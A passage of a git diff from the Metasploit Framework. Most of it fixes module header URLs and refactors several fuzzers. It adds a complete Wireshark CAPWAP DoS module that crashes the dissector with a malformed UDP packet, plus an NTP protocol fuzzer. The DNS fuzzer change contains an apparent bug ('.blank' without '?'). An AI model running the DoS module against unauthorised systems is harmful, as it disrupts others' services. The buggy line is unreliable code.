b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb index 7770a54258..ed94c74c86 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index 41afbc6455..7188f3bc22 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb index ac4f9a5173..c4e4ceeeee 100644 --- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb +++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index 1d31454ac9..daf6ad587d 100644 --- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,12 +12,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Pi3Web <=2.0.13 ISAPI DoS', + 'Name' => 'Pi3Web ISAPI DoS', 'Description' => %q{ - The Pi3Web HTTP server crashes when a request is made - for an invalid DLL file in /isapi. By default, the - non-DLLs in this directory after installation are - users.txt, install.daf and readme.daf. + The Pi3Web HTTP server crashes when a request is made for an invalid DLL + file in /isapi for versions 2.0.13 and earlier. By default, the non-DLLs + in this directory after installation are users.txt, install.daf and + readme.daf. }, 'Author' => 'kris katterjohn', 'License' => MSF_LICENSE, diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index 3343ab591f..afb0eda518 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb index 23f140a217..09189c625e 100644 --- a/modules/auxiliary/dos/windows/nat/nat_helper.rb +++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 2e7c9a85d2..61ea317635 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index b73ec3979e..ad1cae1beb 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index 0184622906..caeb334545 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index 03a9cb27e8..cd801fecb8 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index a4c3c74e6c..73b2e35230 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb index 501a3dcfb2..78ebe1e3af 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb index ac1db873db..fe436b7ef0 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index 4e28e03430..692d3080de 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index d728811a89..c1e5a03473 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index 01ad7774b4..ae6771154d 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -1,10 +1,9 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Auxiliary - Rank = ManualRanking include Msf::Exploit::Remote::Udp #include Msf::Exploit::Remote::SMB diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 2e3f4d9f5a..5d418041f0 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb index 773a4d65b6..d514712000 100644 --- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb +++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb index b9a3d14e9a..72166cc782 100644 --- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb +++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index 1478a649a8..f7fffb96db 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb index e8f241cb3b..81f16d4860 100644 --- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb +++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb index 51b300be0c..7be42e23eb 100644 --- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb +++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb new file mode 100644 index 0000000000..9eeb6b614a --- /dev/null +++ b/modules/auxiliary/dos/wireshark/capwap.rb @@ -0,0 +1,55 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wireshark CAPWAP Dissector DoS', + 'Description' => %q{ + This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well + as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a + packet correctly when an incorrect length is given. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Laurent Butti', # Discovery vulnerability + 'j0sm1' # Auxiliary msf module + ], + 'References' => + [ + ['CVE', '2013-4074'], + ['OSVDB', '94091'], + ['BID', '60500'] + ], + 'DisclosureDate' => 'Apr 28 2014')) + + # Protocol capwap needs port 5247 to trigger the dissector in wireshark + register_options([ Opt::RPORT(5247) ], self.class) + end + + def run + + connect_udp + + # We send a packet incomplete to crash dissector + print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...") + # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then + # the dissector crash + # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt + # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000 + buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15) + udp_sock.put(buf) + + disconnect_udp + + end +end diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index 876c76774c..fa78ad8a42 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb index 447f3b91d0..63c678cc06 100644 --- a/modules/auxiliary/dos/wireshark/cldap.rb +++ b/modules/auxiliary/dos/wireshark/cldap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index e874405143..ee3f9bd317 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 640a0ca58f..1972f99d76 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -330,22 +330,17 @@ class Metasploit3 < Msf::Auxiliary end def fix_variables - if datastore['OPCODE'] == "" - datastore['OPCODE'] = "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" - end - if datastore['CLASS'] == "" - datastore['CLASS'] = "IN,CH,HS,NONE,ANY" - end - if datastore['RR'] == "" - datastore['RR'] = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," - datastore['RR'] << "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," - datastore['RR'] << "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," - datastore['RR'] << "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," - datastore['RR'] << "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," - datastore['RR'] << "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," - datastore['RR'] << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," - datastore['RR'] << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - end + @fuzz_opcode = datastore['OPCODE'].blank? ? "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" : datastore['OPCODE'] + @fuzz_class = datastore['CLASS'].blank? ? "IN,CH,HS,NONE,ANY" : datastore['CLASS'] + fuzz_rr_queries = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," << + "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," << + "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," << + "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," << + "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," << + "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << + "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << + "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" + @fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) @@ -381,7 +376,7 @@ class Metasploit3 < Msf::Auxiliary if @domain == nil print_status("DNS Fuzzer: DOMAIN could be set for health check but not mandatory.") end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") opcode = setup_opcode(nsopcode) opcode.unpack("n*").each do |dnsOpcode| 1.upto(iter) do @@ -414,11 +409,11 @@ class Metasploit3 < Msf::Auxiliary nsclass << req[:class] nsentry << req[:name] end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") else - nsreq=datastore['RR'].split(",") - nsopcode=datastore['OPCODE'].split(",") - nsclass=datastore['CLASS'].split(",") + nsreq=@fuzz_rr.split(",") + nsopcode=@fuzz_opcode.split(",") + nsclass=@fuzz_class.split(",") begin classns = setup_nsclass(nsclass) raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index e1819f6a0e..9a3adf3340 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # # Fuzzer written by corelanc0d3r - <peter.ve [at] corelan.be> @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]), - OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz.", "LIST,NLST,LS,RETR" ]), + OptString.new('FUZZCMDS', [ true, "Comma separated list of commands to fuzz (Uppercase).", "LIST,NLST,LS,RETR", nil, /(?:[A-Z]+,?)+/ ]), OptInt.new('STARTSIZE', [ true, "Fuzzing string startsize.",1000]), OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]), OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]), diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index c341d80630..00cf7bcdf5 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary def get_pkt - buf = sock.get + buf = sock.get_once(-1, 10) vprint_status("[in ] #{buf.inspect}") buf end diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 0e3f0a0454..d5d84a2569 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -455,21 +455,23 @@ class Metasploit3 < Msf::Auxiliary formidx = formidx + 1 formcnt += 1 end + if forms.size > 0 print_status(" Forms : ") end + forms.each do | thisform | print_status(" - Name : #{thisform[:name]}, ID : #{thisform[:id]}, Action : #{thisform[:action]}, Method : #{thisform[:method]}") end + return forms end - def extract_cookie(body) - return body["Set-Cookie"] - end + def set_cookie(cookie) @get_data_headers["Cookie"]=cookie @send_data[:headers]["Cookie"]=cookie end + def run init_fuzzdata() init_vars() @@ -487,10 +489,11 @@ class Metasploit3 < Msf::Auxiliary print_error("No response") return end + if datastore['HANDLECOOKIES'] - cookie = extract_cookie(response.headers) + cookie = response.get_cookies set_cookie(cookie) - print_status("Set cookie:#{cookie}") + print_status("Set cookie: #{cookie}") print_status("Grabbing webpage #{datastore['URL']} from #{datastore['RHOST']} using cookies") response = send_request_raw( diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb index 434d835a97..7dfe8a5d26 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb index 5acbdcdfc2..7f186ec68a 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb new file mode 100644 index 0000000000..922de4aa88 --- /dev/null +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -0,0 +1,215 @@ +# encoding: UTF-8 +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/proto/ntp' +require 'securerandom' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Fuzzer + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'NTP Protocol Fuzzer', + 'Description' => %q( + A simplistic fuzzer for the Network Time Protocol that sends the + following probes to understand NTP and look for anomalous NTP behavior: + + * All possible combinations of NTP versions and modes, even if not + allowed or specified in the RFCs + * Short versions of the above + * Short, invalid datagrams + * Full-size, random datagrams + * All possible NTP control messages + * All possible NTP private messages + + This findings of this fuzzer are not necessarily indicative of bugs, + let alone vulnerabilities, rather they point out interesting things + that might deserve more attention. Furthermore, this module is not + particularly intelligent and there are many more areas of NTP that + could be explored, including: + + * Warn if the response is 100% identical to the request + * Warn if the "mode" (if applicable) doesn't align with what we expect, + * Filter out the 12-byte mode 6 unsupported opcode errors. + * Fuzz the control message payload offset/size/etc. There be bugs + ), + 'Author' => 'Jon Hart <jon_hart[at]rapid7.com>', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(123), + OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]), + OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250]) + ], self.class) + + register_advanced_options( + [ + OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']), + OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]), + OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]), + OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]), + OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil]) + ], self.class) + end + + def sleep_time + datastore['SLEEP'] / 1000.0 + end + + def check_and_set(setting) + thing = setting.upcase + const_name = thing.to_sym + var_name = thing.downcase + if datastore.key?(thing) + instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i }) + unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name) + fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty? + else + instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name)) + end + end + + def run_host(ip) + # check and set the optional advanced options + check_and_set('VERSIONS') + check_and_set('MODES') + check_and_set('MODE_6_OPERATIONS') + check_and_set('MODE_7_IMPLEMENTATIONS') + check_and_set('MODE_7_REQUEST_CODES') + + connect_udp + fuzz_version_mode(ip, true) + fuzz_version_mode(ip, false) + fuzz_short(ip) + fuzz_random(ip) + fuzz_control(ip) if @modes.include?(6) + fuzz_private(ip) if @modes.include?(7) + disconnect_udp + end + + # Sends a series of NTP control messages + def fuzz_control(host) + @versions.each do |version| + print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)") + @mode_6_operations.each do |op| + request = Rex::Proto::NTP.ntp_control(version, op) + what = "#{request.size}-byte version #{version} mode 6 op #{op} message" + vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + + # Sends a series of NTP private messages + def fuzz_private(host) + @versions.each do |version| + print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)") + @mode_7_implementations.each do |implementation| + @mode_7_request_codes.each do |request_code| + request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188) + what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message" + vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + end + + # Sends a series of small, short datagrams, looking for a reply + def fuzz_short(host) + print_status("#{host}:#{rport} fuzzing short messages") + 0.upto(4) do |size| + request = SecureRandom.random_bytes(size) + what = "short #{request.size}-byte random message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + + # Sends a series of random, full-sized datagrams, looking for a reply + def fuzz_random(host) + print_status("#{host}:#{rport} fuzzing random messages") + 0.upto(5) do + # TODO: is there a better way to pick this size? Should more than one be tried? + request = SecureRandom.random_bytes(48) + what = "random #{request.size}-byte message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + + # Sends a series of different version + mode combinations + def fuzz_version_mode(host, short) + print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations") + @versions.each do |version| + @modes.each do |mode| + request = Rex::Proto::NTP::NTPGeneric.new + request.version = version + request.mode = mode + unless short + # TODO: is there a better way to pick this size? Should more than one be tried? + request.payload = SecureRandom.random_bytes(16) + end + what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message" + vprint_status("#{host}:#{rport} probing with #{what}") + responses = probe(host, datastore['RPORT'].to_i, request) + handle_responses(host, request, responses, what) + Rex.sleep(sleep_time) + end + end + end + + # Sends +message+ to +host+ on UDP port +port+, returning all replies + def probe(host, port, message) + replies = [] + udp_sock.sendto(message, host, port, 0) + reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0) + while reply && reply[1] + replies << reply + reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0) + end + replies + end + + def handle_responses(host, request, responses, what) + problems = [] + descriptions = [] + responses.select! { |r| r[1] } + return if responses.empty? + responses.each do |response| + data = response[0] + descriptions << Rex::Proto::NTP.describe(data) + problems << 'large response' if request.size < data.size + ntp_req = Rex::Proto::NTP::NTPGeneric.new(request) + ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data) + problems << 'version mismatch' if ntp_req.version != ntp_resp.version + end + + problems << 'multiple responses' if responses.size > 1 + problems.sort! + problems.uniq! + + description = descriptions.join(',') + if problems.empty? + vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}") + else + print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}") + end + end +end diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb index 248f9c0c49..a6b195bf44 100644 --- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 